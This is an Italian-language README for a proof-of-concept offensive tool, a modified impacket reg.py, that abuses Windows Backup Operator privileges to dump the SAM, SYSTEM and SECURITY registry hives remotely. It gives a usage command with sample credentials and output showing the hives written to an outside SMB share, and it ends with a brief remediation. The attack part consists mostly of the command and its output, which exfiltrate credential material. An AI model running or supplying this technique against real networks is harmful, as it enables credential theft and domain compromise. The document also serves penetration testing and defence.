Dal backup del registro di Backup Operator alla compromissione del dominio

Un semplice POC che abusa dei privilegi di Backup Operator per eseguire il dump remoto degli hive SAM, SYSTEM e SECURITY.

Crediti della ricerca a:

• @filip_dragovic
• Porting dal @mpgn Windows PoC

Utilizzo

Questa prova di concetto è una versione modificata di impacket/examples/reg.py e funzionerà con la versione più recente di impacket installata. Tutti i meccanismi di autenticazione supportati da impacket funzioneranno.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Rimedio:

Tratta il gruppo di dominio Backup Operators come gli Amministratori di dominio e le altre risorse Tier 0.